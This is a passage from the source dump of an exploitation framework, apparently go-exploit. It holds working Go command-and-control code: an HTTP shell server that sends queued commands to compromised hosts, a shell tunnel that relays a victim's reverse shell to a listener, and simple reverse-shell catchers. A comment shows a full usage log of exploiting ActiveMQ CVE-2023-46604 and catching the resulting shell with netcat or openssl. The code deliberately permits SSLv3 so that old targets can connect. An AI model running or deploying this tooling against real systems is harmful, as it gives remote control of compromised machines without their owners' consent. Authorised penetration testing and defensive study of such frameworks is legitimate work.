{\n\t\t\t\tserveShell.Shutdown()\n\t\t\t\twg.Done()\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t}\n\t}()\n\tgo func() {\n\t\ttime.Sleep(time.Duration(timeout) * time.Second)\n\t\tserveShell.pastTimeout.Store(true)\n\t}()\n\t// Spin up the shell\n\twg.Add(1)\n\tgo func() {\n\t\tif serveShell.SSLShell {\n\t\t\tsslshell.GetInstance().Run(timeout)\n\t\t\t// Handle shutdown for OS signaling or timeout from underlying instance\n\t\t\tgo func() {\n\t\t\t\tfor {\n\t\t\t\t\tif sslshell.GetInstance().Channel().Shutdown.Load() {\n\t\t\t\t\t\tserveShell.Channel().Shutdown.Store(true)\n\t\t\t\t\t\twg.Done()\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t\t\t}\n\t\t\t}()\n\t\t} else {\n\t\t\tsimpleshell.GetServerInstance().Run(timeout)\n\t\t\t// Handle shutdown for OS signaling or timeout from underlying instance\n\t\t\tgo func() {\n\t\t\t\tfor {\n\t\t\t\t\tif simpleshell.GetServerInstance().Channel().Shutdown.Load() {\n\t\t\t\t\t\tserveShell.Channel().Shutdown.Store(true)\n\t\t\t\t\t\twg.Done()\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t}()\n\n\t// Spin up the http server\n\twg.Add(1)\n\tgo func() { httpservefile.GetInstance().Run(timeout) }()\n\n\t// wait until the go routines are clean up\n\twg.Wait()\n}\n"
  },
  {
    "path": "c2/httpshellserver/httpshellserver.go",
    "content": "// A C2 server that handles shell interaction over HTTP.\npackage httpshellserver\n\nimport (\n\t\"bufio\"\n\t\"crypto/tls\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nvar (\n\tsingleton   *Server\n\tcliLock     sync.Mutex\n\tcommandChan = make(chan string)\n\tlastSeen    time.Time\n)\n\ntype Server struct {\n\t// The HTTP address to bind to\n\tHTTPAddr string\n\t// The HTTP port to bind to\n\tHTTPPort int\n\t// Set to the Server field in HTTP response\n\tServerField string\n\t// Indicates if TLS should be enabled\n\tTLS bool\n\t// The file path to the user provided private key (if provided)\n\tPrivateKeyFile string\n\t// The file path to the user provided certificate (if provided)\n\tCertificateFile string\n\t// Loaded certificate\n\tCertificate tls.Certificate\n\t// Allows us to track if a connection has been received during the life of the server\n\tSuccess bool\n\t// Randomly generated during init, gives some sense of security where there is otherwise none.\n\t// This should appear in a header with the name VC-Auth\n\tAuthHeader string\n\tchannel    *channel.Channel\n}\n\n// A basic singleton interface for the c2.\nfunc GetInstance() *Server {\n\tif singleton == nil {\n\t\tsingleton = new(Server)\n\t}\n\n\treturn singleton\n}\n\nfunc (httpServer *Server) Init(channel *channel.Channel) bool {\n\tif channel.Shutdown == nil {\n\t\t// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually\n\t\t// configured.\n\t\tvar shutdown atomic.Bool\n\t\tshutdown.Store(false)\n\t\tchannel.Shutdown = &shutdown\n\t}\n\tif channel == nil {\n\t\toutput.PrintFrameworkError(\"Channel passed to C2 init was nil, ensure that channel is assigned and the shutdown atomic is set to false\")\n\n\t\treturn false\n\t}\n\thttpServer.channel = channel\n\tif testing.Testing() {\n\t\thttpServer.AuthHeader = \"testing-auth-header\"\n\t} else {\n\t\thttpServer.AuthHeader = random.RandLetters(20)\n\t}\n\tif channel.IsClient {\n\t\toutput.PrintFrameworkError(\"Called C2HTTPServer as a client. Use lhost and lport.\")\n\n\t\treturn false\n\t}\n\n\tswitch {\n\tcase channel.Port != 0:\n\t\thttpServer.HTTPAddr = channel.IPAddr\n\t\thttpServer.HTTPPort = channel.Port\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Called HTTPServeFile without specifying a bind port.\")\n\n\t\treturn false\n\t}\n\n\tif httpServer.TLS {\n\t\tvar ok bool\n\t\tvar err error\n\t\tif len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 {\n\t\t\thttpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile)\n\t\t\tif err != nil {\n\t\t\t\toutput.PrintfFrameworkError(\"Error loading certificate: %s\", err.Error())\n\n\t\t\t\treturn false\n\t\t\t}\n\t\t} else {\n\t\t\toutput.PrintFrameworkStatus(\"Certificate not provided. Generating a TLS Certificate\")\n\t\t\thttpServer.Certificate, ok = encryption.GenerateCertificate()\n\t\t\tif !ok {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true\n}\n\n// User options for serving a file over HTTP as the \"c2\".\nfunc (httpServer *Server) CreateFlags() {\n\tflag.StringVar(&httpServer.ServerField, \"httpShellServer.ServerField\", \"Apache\", \"The value to insert in the HTTP server field\")\n\tflag.BoolVar(&httpServer.TLS, \"httpShellServer.TLS\", false, \"Indicates if the HTTP server should use encryption\")\n\tflag.StringVar(&httpServer.PrivateKeyFile, \"httpShellServer.PrivateKeyFile\", \"\", \"A private key to use with the HTTPS server\")\n\tflag.StringVar(&httpServer.CertificateFile, \"httpShellServer.CertificateFile\", \"\", \"The certificate to use with the HTTPS server\")\n}\n\n// Get the underlying C2 channel with metadata and session information.\nfunc (httpServer *Server) Channel() *channel.Channel {\n\treturn httpServer.channel\n}\n\n// Shutdown the C2 server and cleanup all the sessions.\nfunc (httpServer *Server) Shutdown() bool {\n\t// Account for non-running case\n\tif httpServer.Channel() == nil {\n\t\treturn true\n\t}\n\toutput.PrintFrameworkStatus(\"Shutting down the HTTP Server\")\n\tif len(httpServer.Channel().Sessions) > 0 {\n\t\tfor k := range httpServer.Channel().Sessions {\n\t\t\thttpServer.Channel().RemoveSession(k)\n\t\t}\n\t}\n\n\treturn true\n}\n\n// start the HTTP server and listen for incoming requests for `httpServer.FileName`.\n//\n//nolint:gocognit\nfunc (httpServer *Server) Run(timeout int) {\n\thttp.HandleFunc(\"/rx\", func(writer http.ResponseWriter, req *http.Request) {\n\t\tauthHeader := req.Header.Get(\"Vc-Auth\")\n\t\tif authHeader != httpServer.AuthHeader {\n\t\t\twriter.WriteHeader(http.StatusForbidden)\n\t\t\toutput.PrintfFrameworkDebug(\"Auth header mismatch from %s: %s, should be %s\", req.RemoteAddr, req.Header.Get(\"Vc-Auth\"), httpServer.AuthHeader)\n\n\t\t\treturn\n\t\t}\n\n\t\tbody, _ := io.ReadAll(req.Body)\n\t\tif strings.TrimSpace(string(body)) != \"\" {\n\t\t\toutput.PrintShell(fmt.Sprintf(\"%s: %s\", req.RemoteAddr, string(body)))\n\t\t}\n\t})\n\n\thttp.HandleFunc(\"/\", func(writer http.ResponseWriter, req *http.Request) {\n\t\tauthHeader := req.Header.Get(\"Vc-Auth\")\n\t\tif authHeader != httpServer.AuthHeader {\n\t\t\twriter.WriteHeader(http.StatusForbidden)\n\t\t\toutput.PrintfFrameworkDebug(\"Auth header mismatch from %s: %s, should be %s\", req.RemoteAddr, req.Header.Get(\"Vc-Auth\"), httpServer.AuthHeader)\n\n\t\t\treturn\n\t\t}\n\t\tlastSeen = time.Now()\n\t\twriter.Header().Set(\"Server\", httpServer.ServerField)\n\n\t\tif !httpServer.Success {\n\t\t\tgo func() {\n\t\t\t\thttpServer.Success = true\n\t\t\t\thttpServer.Channel().AddSession(nil, req.RemoteAddr)\n\t\t\t\toutput.PrintfSuccess(\"Received initial connection from %s, entering shell\", req.RemoteAddr)\n\t\t\t\tcliLock.Lock()\n\t\t\t\tdefer cliLock.Unlock()\n\t\t\t\tfor {\n\t\t\t\t\telapsed := time.Since(lastSeen)\n\t\t\t\t\tif elapsed/time.Millisecond > 10000 {\n\t\t\t\t\t\tfmt.Printf(\"last seen: %ds> \", time.Since(lastSeen)/time.Second)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Printf(\"last seen: %dms> \", time.Since(lastSeen)/time.Millisecond)\n\t\t\t\t\t}\n\t\t\t\t\treader := bufio.NewReader(os.Stdin)\n\t\t\t\t\tcommand, _ := reader.ReadString('\\n')\n\t\t\t\t\ttrimmedCommand := strings.TrimSpace(command)\n\t\t\t\t\tif trimmedCommand == \"help\" {\n\t\t\t\t\t\tfmt.Printf(\"Usage:\\nType a command and it will be added to the queue to be distributed to the first connection\\ntype exit to shut everything down.\\n\")\n\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif trimmedCommand == \"exit\" {\n\t\t\t\t\t\toutput.PrintStatus(\"Exit received, shutting down\")\n\t\t\t\t\t\thttpServer.Channel().Shutdown.Store(true)\n\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tif strings.TrimSpace(command) != \"\" {\n\t\t\t\t\t\tcommandChan <- strings.TrimSpace(command)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\n\t\tselect {\n\t\tcase command := <-commandChan:\n\t\t\twriter.WriteHeader(http.StatusOK)\n\t\t\tfmt.Fprint(writer, command)\n\t\tdefault:\n\t\t\twriter.WriteHeader(http.StatusOK)\n\t\t}\n\t})\n\n\tvar wg sync.WaitGroup\n\tconnectionString := fmt.Sprintf(\"%s:%d\", httpServer.HTTPAddr, httpServer.HTTPPort)\n\twg.Add(1)\n\tgo func() {\n\t\tif httpServer.TLS {\n\t\t\toutput.PrintfFrameworkStatus(\"Starting an HTTPS server on %s...\", connectionString)\n\t\t\ttlsConfig := &tls.Config{\n\t\t\t\tCertificates: []tls.Certificate{httpServer.Certificate},\n\t\t\t\t// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.\n\t\t\t\t//nolint\n\t\t\t\tMinVersion: tls.VersionSSL30,\n\t\t\t}\n\t\t\tserver := http.Server{\n\t\t\t\tAddr:      connectionString,\n\t\t\t\tTLSConfig: tlsConfig,\n\t\t\t\t// required to disable HTTP/2 according to https://pkg.go.dev/net/http#hdr-HTTP_2\n\t\t\t\tTLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1),\n\t\t\t}\n\t\t\tdefer server.Close()\n\t\t\t// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown\n\t\t\tgo func() {\n\t\t\t\tfor {\n\t\t\t\t\tif httpServer.Channel().Shutdown.Load() {\n\t\t\t\t\t\thttpServer.Shutdown()\n\t\t\t\t\t\tserver.Close()\n\t\t\t\t\t\twg.Done()\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t\t\t}\n\t\t\t}()\n\t\t\t// Handle timeouts\n\t\t\tgo func() {\n\t\t\t\ttime.Sleep(time.Duration(timeout) * time.Second)\n\t\t\t\tif !httpServer.Channel().HasSessions() {\n\t\t\t\t\toutput.PrintFrameworkError(\"Timeout met. Shutting down shell listener.\")\n\t\t\t\t\thttpServer.channel.Shutdown.Store(true)\n\t\t\t\t}\n\t\t\t}()\n\t\t\t_ = server.ListenAndServeTLS(\"\", \"\")\n\t\t} else {\n\t\t\toutput.PrintfFrameworkStatus(\"Starting an HTTP server on %s\", connectionString)\n\t\t\tserver := http.Server{\n\t\t\t\tAddr: connectionString,\n\t\t\t}\n\t\t\tdefer server.Close()\n\t\t\t// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown\n\t\t\tgo func() {\n\t\t\t\tfor {\n\t\t\t\t\tif httpServer.Channel().Shutdown.Load() {\n\t\t\t\t\t\tserver.Close()\n\t\t\t\t\t\thttpServer.Shutdown()\n\t\t\t\t\t\twg.Done()\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t\t\t}\n\t\t\t}()\n\t\t\t// Handle timeouts\n\t\t\tgo func() {\n\t\t\t\ttime.Sleep(time.Duration(timeout) * time.Second)\n\t\t\t\tif !httpServer.Channel().HasSessions() {\n\t\t\t\t\toutput.PrintFrameworkError(\"Timeout met. Shutting down shell listener.\")\n\t\t\t\t\thttpServer.channel.Shutdown.Store(true)\n\t\t\t\t}\n\t\t\t}()\n\t\t\t_ = server.ListenAndServe()\n\t\t}\n\t}()\n\n\twg.Wait()\n\thttpServer.Channel().Shutdown.Store(true)\n}\n"
  },
  {
    "path": "c2/shelltunnel/shelltunnel.go",
    "content": "// shelltunnel is a simple C2 that copies shell traffic between a reverse shell origin and\n// a connectback server. It essentially allows for this setup:\n//\n// | Box 1 |                       |     Box 2    |                      |    Box 3     |\n// | nc -l | <- shell traffic ->   | shell tunnel | <- shell traffic ->  | shell origin |\n//\n// Where 'nc -l' is basically any C&C you want that accepts reverse shells, box 2 is the attacker\n// box, and box 3 is the victim. In this example, go-exploit on box 2 (attacker box) can act as\n// an egress for the reverse shell generated on the victim (box 3). The shell tunnel will just\n// copy the traffic data between the two boxes (1 & 3). This is appealing over something like a socks5\n// proxy or more advanced tunneling because it simply works and requires, for the exploit dev,\n// no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever).\n//\n// Usage example using an unencrypted reverse shell:\n//\n//\talbinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12\n//\ttime=2024-10-28T15:05:21.600-04:00 level=STATUS msg=\"Starting listener on 10.9.49.192:1270\"\n//\ttime=2024-10-28T15:05:21.601-04:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.56 port=61616 ssl=false \"ssl auto\"=false\n//\ttime=2024-10-28T15:05:21.601-04:00 level=STATUS msg=\"Sending a reverse shell payload for port 10.9.49.192:1270\"\n//\ttime=2024-10-28T15:05:21.601-04:00 level=STATUS msg=\"HTTP server listening for 10.9.49.192:8080/TMURWfRGRdSZ\"\n//\ttime=2024-10-28T15:05:23.603-04:00 level=STATUS msg=Connecting...\n//\ttime=2024-10-28T15:05:23.630-04:00 level=STATUS msg=\"Sending exploit\"\n//\ttime=2024-10-28T15:05:23.656-04:00 level=STATUS msg=\"Sending payload\"\n//\ttime=2024-10-28T15:05:23.675-04:00 level=STATUS msg=\"Sending payload\"\n//\ttime=2024-10-28T15:05:23.757-04:00 level=SUCCESS msg=\"Caught new shell from 10.9.49.56:48440\"\n//\ttime=2024-10-28T15:05:23.758-04:00 level=SUCCESS msg=\"Connect back to 10.9.49.12:1270 success!\"\n//\ttime=2024-10-28T15:05:28.633-04:00 level=SUCCESS msg=\"Exploit successfully completed\" exploited=true\n//\n// Above, you can see we've exploited a remote ActiveMQ (10.9.49.56), caught a reverse shell, and connected it back to a listener\n// at 10.9.49.12:1270. The shell there looks like this:\n//\n//\tparallels@ubuntu-linux-22-04-02-desktop:~$ nc -lvnp 1270\n//\tListening on 0.0.0.0 1270\n//\tConnection received on 10.9.49.192 51478\n//\tpwd\n//\t/opt/apache-activemq-5.15.2\n//\n// The tunnel can also support catching and relaying TLS (or a mix of either). For example, the above can be updated like so:\n//\n//\t./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 -shellTunnel.cbSSL -shellTunnel.sslListen\n//\n// And the reverse shell can now be caught by openssl:\n//\n//\tparallels@ubuntu-linux-22-04-02-desktop:~$ openssl s_server -quiet -key key.pem -cert cert.pem -port 1270\n//\tpwd\n//\t/opt/apache-activemq-5.15.2\npackage shelltunnel\n\nimport (\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\ntype Server struct {\n\t// the TCP listener that will accept all the connections\n\tListener net.Listener\n\n\t// the server address/hostname to tunnel the data to\n\tConnectBackHost string\n\n\t// the server port to tunnel the data to\n\tConnectBackPort int\n\n\t// indicates if we should use an encrypted tunnel to the server\n\tConnectBackSSL bool\n\n\t// indicates if we should be listening as an SSL server\n\tSSLShellServer bool\n\n\t// The file path to the user provided private key (if provided)\n\tPrivateKeyFile string\n\n\t// The file path to the user provided certificate (if provided)\n\tCertificateFile string\n\n\t// Underlying C2 channel with metadata and session tracking\n\tchannel *channel.Channel\n}\n\nvar (\n\tserverSingleton *Server\n\n\tErrTLSListener = errors.New(\"tls listener init\")\n)\n\nfunc GetInstance() *Server {\n\tif serverSingleton == nil {\n\t\tserverSingleton = new(Server)\n\t}\n\n\treturn serverSingleton\n}\n\nfunc (shellTunnel *Server) CreateFlags() {\n\tflag.StringVar(&shellTunnel.ConnectBackHost, \"shellTunnel.cbHost\", \"\", \"The server to tunnel the data back to\")\n\tflag.IntVar(&shellTunnel.ConnectBackPort, \"shellTunnel.cbPort\", 1270, \"The server port to tunnel the data back to\")\n\tflag.BoolVar(&shellTunnel.ConnectBackSSL, \"shellTunnel.cbSSL\", false, \"Indicates if the connect-back should use SSL/TLS\")\n\n\t// optional for when SSL server is enabled\n\tflag.BoolVar(&shellTunnel.SSLShellServer, \"shellTunnel.sslListen\", false, \"Indicates if we should listen as an SSL/TLS server\")\n\tflag.StringVar(&shellTunnel.PrivateKeyFile, \"shellTunnel.PrivateKeyFile\", \"\", \"A private key to use when being an SSL server\")\n\tflag.StringVar(&shellTunnel.CertificateFile, \"shellTunnel.CertificateFile\", \"\", \"The certificate to use when being an SSL server\")\n}\n\nfunc (shellTunnel *Server) Init(channel *channel.Channel) bool {\n\tif channel.Shutdown == nil {\n\t\t// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually\n\t\t// configured.\n\t\tvar shutdown atomic.Bool\n\t\tshutdown.Store(false)\n\t\tchannel.Shutdown = &shutdown\n\t}\n\tshellTunnel.channel = channel\n\tif channel.IsClient {\n\t\toutput.PrintFrameworkError(\"Called ShellTunnel as a client. Use lhost and lport.\")\n\n\t\treturn false\n\t}\n\tif shellTunnel.ConnectBackHost == \"\" {\n\t\toutput.PrintFrameworkError(\"Failed to provide a connect back host\")\n\n\t\treturn false\n\t}\n\tif shellTunnel.ConnectBackPort == 0 {\n\t\toutput.PrintFrameworkError(\"Failed to provide a connect back port\")\n\n\t\treturn false\n\t}\n\n\toutput.PrintfFrameworkStatus(\"Starting listener on %s:%d\", channel.IPAddr, channel.Port)\n\n\tvar err error\n\tif shellTunnel.SSLShellServer {\n\t\tshellTunnel.Listener, err = shellTunnel.createTLSListener(channel)\n\t} else {\n\t\tshellTunnel.Listener, err = net.Listen(\"tcp\", channel.IPAddr+\":\"+strconv.Itoa(channel.Port))\n\t}\n\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Couldn't create the server: \" + err.Error())\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc (shellTunnel *Server) Shutdown() bool {\n\t// Account for non-running case\n\tif shellTunnel.Channel() == nil {\n\t\treturn true\n\t}\n\toutput.PrintFrameworkStatus(\"C2 received shutdown, killing server and client sockets for shell tunnel\")\n\tif len(shellTunnel.Channel().Sessions) > 0 {\n\t\tfor k, session := range shellTunnel.Channel().Sessions {\n\t\t\toutput.PrintfFrameworkStatus(\"Connection closed: %s\", session.RemoteAddr)\n\t\t\tshellTunnel.Channel().RemoveSession(k)\n\t\t}\n\t}\n\tshellTunnel.Listener.Close()\n\n\treturn true\n}\n\nfunc (shellTunnel *Server) Channel() *channel.Channel {\n\treturn shellTunnel.channel\n}\n\nfunc (shellTunnel *Server) Run(timeout int) {\n\t// terminate the server if no shells come in within timeout seconds\n\tgo func() {\n\t\ttime.Sleep(time.Duration(timeout) * time.Second)\n\t\tif !shellTunnel.Channel().HasSessions() {\n\t\t\toutput.PrintFrameworkError(\"Timeout met. Shutting down shell listener.\")\n\t\t\tshellTunnel.Channel().Shutdown.Store(true)\n\t\t}\n\t}()\n\tgo func() {\n\t\tfor {\n\t\t\tif shellTunnel.Channel().Shutdown.Load() {\n\t\t\t\tshellTunnel.Shutdown()\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t}\n\t}()\n\n\t// Accept arbitrary connections. In the future we need something for the\n\t// user to select which connection to make active\n\tfor {\n\t\tclient, err := shellTunnel.Listener.Accept()\n\t\tif err != nil {\n\t\t\tif !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\t\toutput.PrintFrameworkError(err.Error())\n\t\t\t}\n\n\t\t\treturn\n\t\t}\n\t\tif shellTunnel.Channel().Shutdown.Load() {\n\t\t\tbreak\n\t\t}\n\t\toutput.PrintfFrameworkSuccess(\"Caught new shell from %v\", client.RemoteAddr())\n\t\t// ShellTunnel is a bit of an outliar as we need to track the incoming connections and also the\n\t\t// tunneled connections. This will allow for cleanup of connections on both ends of the pipe,\n\t\t// but may not be immediately clear.\n\t\tshellTunnel.Channel().AddSession(&client, client.RemoteAddr().String())\n\t\tgo handleTunnelConn(client, shellTunnel.ConnectBackHost, shellTunnel.ConnectBackPort, shellTunnel.ConnectBackSSL, shellTunnel.channel)\n\t\ttime.Sleep(10 * time.Millisecond)\n\t}\n}\n\nfunc (shellTunnel *Server) createTLSListener(channel *channel.Channel) (net.Listener, error) {\n\tvar ok bool\n\tvar err error\n\tvar certificate tls.Certificate\n\tif len(shellTunnel.CertificateFile) != 0 && len(shellTunnel.PrivateKeyFile) != 0 {\n\t\tcertificate, err = tls.LoadX509KeyPair(shellTunnel.CertificateFile, shellTunnel.PrivateKeyFile)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%s %w\", err.Error(), ErrTLSListener)\n\t\t}\n\t} else {\n\t\toutput.PrintFrameworkStatus(\"Certificate not provided. Generating a TLS Certificate\")\n\t\tcertificate, ok = encryption.GenerateCertificate()\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"GenerateCertificate failed %w\", ErrTLSListener)\n\t\t}\n\t}\n\n\toutput.PrintfFrameworkStatus(\"Starting TLS listener on %s:%d\", channel.IPAddr, channel.Port)\n\tlistener, err := tls.Listen(\n\t\t\"tcp\", fmt.Sprintf(\"%s:%d\", channel.IPAddr, channel.Port), &tls.Config{\n\t\t\tCertificates: []tls.Certificate{certificate},\n\t\t\t// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.\n\t\t\tMinVersion: tls.VersionSSL30,\n\t\t})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%s %w\", err.Error(), ErrTLSListener)\n\t}\n\n\treturn listener, nil\n}\n\nfunc handleTunnelConn(clientConn net.Conn, host string, port int, ssl bool, ch *channel.Channel) {\n\tdefer clientConn.Close()\n\n\t// attempt to connect back to the serve. MixedConnect is both proxy aware and can\n\t// produce an ssl or unencrypted connection so works pretty nice here\n\tserverConn, ok := protocol.MixedConnect(host, port, ssl)\n\tif !ok {\n\t\t// This is a bit of a hack as the type of C2 callbacks is not tracked and we will have 1\n\t\t// in the sessions from the client call. This checks if it's 1 or less and if it is then it\n\t\t// will drop future conns.\n\t\tif len(ch.Sessions) <= 1 {\n\t\t\toutput.PrintfFrameworkError(\"Failed to connect back to %s:%d closing server\", host, port)\n\t\t\tch.Shutdown.Store(true)\n\n\t\t\treturn\n\t\t}\n\t\toutput.PrintfFrameworkError(\"Failed to connect back to %s:%d\", host, port)\n\n\t\treturn\n\t}\n\tch.AddSession(&serverConn, serverConn.RemoteAddr().String())\n\toutput.PrintfFrameworkSuccess(\"Connect back to %s:%d success!\", host, port)\n\n\tdefer serverConn.Close()\n\n\tdone := make(chan struct{})\n\n\t// copy between the two endpoints until one dies\n\tgo func() {\n\t\t_, _ = io.Copy(serverConn, clientConn)\n\t\tdone <- struct{}{}\n\t}()\n\n\tgo func() {\n\t\t_, _ = io.Copy(clientConn, serverConn)\n\t\tdone <- struct{}{}\n\t}()\n\n\t<-done\n\t// Trigger shutdown after the first connection is dropped. in a future where multiple are handled\n\t// this might not be ideal. Revist this when that time comes.\n\tch.Shutdown.Store(true)\n}\n"
  },
  {
    "path": "c2/simpleshell/simpleshellclient.go",
    "content": "package simpleshell\n\nimport (\n\t\"net\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/cli\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\ntype Client struct {\n\tConnectAddr string\n\tConnectPort int\n\tchannel     *channel.Channel\n}\n\nvar clientSingleton *Client\n\nfunc GetClientInstance() *Client {\n\tif clientSingleton == nil {\n\t\tclientSingleton = new(Client)\n\t}\n\n\treturn clientSingleton\n}\n\nfunc (shellClient *Client) CreateFlags() {\n}\n\nfunc (shellClient *Client) Shutdown() bool {\n\t// Account for non-running case\n\tif shellClient.Channel() == nil {\n\t\treturn true\n\t}\n\tok := shellClient.Channel().RemoveSessions()\n\n\t// we done here\n\toutput.PrintfFrameworkStatus(\"Connection closed\")\n\n\treturn ok\n}\n\nfunc (shellClient *Client) Channel() *channel.Channel {\n\treturn shellClient.channel\n}\n\nfunc (shellClient *Client) Init(channel *channel.Channel) bool {\n\tif channel.Shutdown == nil {\n\t\t// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually\n\t\t// configured.\n\t\tvar shutdown atomic.Bool\n\t\tshutdown.Store(false)\n\t\tchannel.Shutdown = &shutdown\n\t}\n\n\tshellClient.ConnectAddr = channel.IPAddr\n\tshellClient.ConnectPort = channel.Port\n\tshellClient.channel = channel\n\n\tif !channel.IsClient {\n\t\toutput.PrintFrameworkError(\"Called SimpleShellClient as a server. Use bport.\")\n\n\t\treturn false\n\t}\n\n\tif channel.Port == 0 {\n\t\toutput.PrintFrameworkError(\"Provided an invalid bind port.\")\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc (shellClient *Client) Run(timeout int) {\n\tconn, ok := connect(shellClient.ConnectAddr, shellClient.ConnectPort, timeout)\n\tif !ok {\n\t\treturn\n\t}\n\t// Track if the C2 is indicated to shutdown for any reason.\n\tgo func() {\n\t\tfor {\n\t\t\tif shellClient.Channel().Shutdown.Load() {\n\t\t\t\tshellClient.Shutdown()\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t}\n\t}()\n\n\toutput.PrintfFrameworkStatus(\"Active shell on %s:%d\", shellClient.ConnectAddr, shellClient.ConnectPort)\n\tshellClient.Channel().AddSession(&conn, conn.RemoteAddr().String())\n\n\tcli.Basic(conn, shellClient.channel)\n\n\tshellClient.Channel().Shutdown.Store(true)\n}\n\nfunc connect(host string, port int, timeout int) (net.Conn, bool) {\n\t// loop every three seconds until timeout\n\tfor i := 0; i < timeout; i += 3 {\n\t\t// TCPConnect is proxy aware, so it will use the proxy if configured\n\t\tconn, ok := protocol.TCPConnect(host, port)\n\t\tif ok {\n\t\t\toutput.PrintfFrameworkSuccess(\"Connected to %s:%d!\", host, port)\n\n\t\t\treturn conn, true\n\t\t}\n\t\t// this is technically not correct. TCPConnect itself has a 10 second timeout. If the server doesn't\n\t\t// send a RST when we try to connect then we'll wait the full 10 + this 3 for a full 13... which means\n\t\t// we won't honor the timeout correctly.\n\t\ttime.Sleep(3 * time.Second)\n\t}\n\n\treturn nil, false\n}\n"
  },
  {
    "path": "c2/simpleshell/simpleshellserver.go",
    "content": "// A simple unencrypted reverse shell C2.\npackage simpleshell\n\nimport (\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/cli\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// The SimpleShellServer implements a basic reverse shell catcher. The server listens on a user provided\n// port and catches incoming unencrypted connections. The c2 implements a basic command line that lacks\n// any type of useful bash-like features (history, interactive behavior, displaying of stderr, etc).\n// The server can accept multiple connections, but the user has no way of swapping between them unless\n// the terminate the connection.\ntype Server struct {\n\tListener net.Listener\n\tchannel  *channel.Channel\n}\n\nvar serverSingleton *Server\n\n// A basic singleton interface for the c2.\nfunc GetServerInstance() *Server {\n\tif serverSingleton == nil {\n\t\tserverSingleton = new(Server)\n\t}\n\n\treturn serverSingleton\n}\n\n// User options for the simple shell server (currently empty).\nfunc (shellServer *Server) CreateFlags() {\n}\n\n// Get the underlying C2 channel with metadata and session information.\nfunc (shellServer *Server) Channel() *channel.Channel {\n\treturn shellServer.channel\n}\n\n// Shutdown the C2 and cleanup any active connections.\nfunc (shellServer *Server) Shutdown() bool {\n\t// Account for non-running case\n\tif shellServer.Channel() == nil {\n\t\treturn true\n\t}\n\toutput.PrintFrameworkStatus(\"C2 received shutdown, killing server and client sockets for shell server\")\n\tif len(shellServer.Channel().Sessions) > 0 {\n\t\tfor k, session := range shellServer.Channel().Sessions 